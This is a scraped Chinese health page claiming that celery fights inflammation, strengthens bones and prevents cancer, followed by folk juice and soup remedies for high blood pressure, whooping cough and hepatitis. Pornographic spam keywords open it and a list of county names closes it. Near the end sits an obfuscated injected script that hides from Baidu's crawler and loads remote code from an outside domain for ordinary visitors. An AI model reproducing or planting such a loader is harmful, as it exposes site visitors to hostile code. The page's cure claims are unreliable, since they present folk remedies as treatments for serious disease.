亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

吃芹菜有哪些好處?芹菜能堅固骨骼

2016-08-06 17:50:44  來源:360常識網(wǎng)   熱度:
導語:兩匙芹菜含有高達153%RDA標準的維生素K,對骨鈣素這種堅固骨骼的蛋白質(zhì)合成不可或缺。同時維生素K也可防止鈣在動脈壁上積聚,有助預防動脈粥樣硬化等心血管疾病。

吃芹菜有哪些好處?芹菜能堅固骨骼

吃芹菜有哪些好處?芹菜能堅固骨骼

吃芹菜有哪些好處?

抗炎癥。

芹菜富含木犀草素,能增強人體新陳代謝,經(jīng)常食用可以有效預防體內(nèi)炎癥,如骨關(guān)節(jié)炎和類風濕關(guān)節(jié)炎。

防衰老。

芹菜富含木犀草素在內(nèi)的多重抗氧化成分,兩匙量的芹菜就含有16%每日建議攝取量的維生素C。

堅固骨骼。

兩匙芹菜含有高達153%RDA標準的維生素K,對骨鈣素這種堅固骨骼的蛋白質(zhì)合成不可或缺。同時維生素K也可防止鈣在動脈壁上積聚,有助預防動脈粥樣硬化等心血管疾病。

抗癌。

研究發(fā)現(xiàn),芹菜所含的肉豆蔻醚這種有機化合物能中和香煙煙霧散發(fā)的致癌物苯并芘,可以有效抑制癌癥形成(尤其是肺部)。

預防慢性病。

當人體內(nèi)同型半胱氨酸含量過多,會威脅血管健康,而芹菜所含的葉酸可將其轉(zhuǎn)化成無害的分子,因而多吃芹菜可預防中風等心血管疾病。

芹菜的食療方

1、五青榨汁:

取西芹、苦瓜、青瓜、青椒、青蘋果五種青色的瓜果,一起榨汁,味道清新可口,更可清熱毒,治暗瘡過多,口苦、口臭、大便燥結(jié)、多眼屎等肝熱現(xiàn)象。常飲此汁,據(jù)說還可以預防腸癌,想來也不無道。

2、鮮芹蘋果汁:

能降血壓,平肝,鎮(zhèn)靜,解痙,和胃止吐,利尿。適用于眩暈頭痛,顏面潮紅,精神易興奮的高血壓患者。用鮮芹菜250克,蘋果1-2粒。將鮮芹菜放入沸水中燙2分鐘,切碎與清蘋果絞汁,每次1杯,每日2次。

3、百日咳:

鮮旱芹(連根葉)100克,洗凈,切碎,搗爛,加冷開水100毫升,榨汁,再加食鹽少許,隔水蒸熱,早晚各服50毫升,連服3-5天。

4、芹菜煲紅棗:

除了可治療高血壓外,還可治療急性黃疸型肝炎,膀胱炎等癥。每次可用芹菜200-400克,紅棗50-100克,煲湯分次服用。如不是芹菜季節(jié),用干的芹菜頭150-250克與紅棗煲水飲,亦有療效。

5、芹菜根燉馬蹄:

常用有降壓,安神,鎮(zhèn)靜功效。用芹菜根60克,馬蹄6粒,芹菜根和馬蹄放入砂鍋燉水飲。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
林周县| 双牌县| 广昌县| 交城县| 隆回县| 中卫市| 沙田区| 土默特左旗| 清水河县| 商城县| 临泉县| 彭阳县| 始兴县| 渑池县| 吉木乃县| 石阡县| 绥中县| 城市| 巩留县| 鄂尔多斯市| 江华| 黔江区| 正镶白旗| 子长县| 黎平县| 年辖:市辖区| 新余市| 安宁市| 宜宾市| 左云县| 儋州市| 临清市| 藁城市| 贵德县| 宁波市| 霍林郭勒市| 永年县| 民权县| 塔城市| 芒康县| 阳泉市|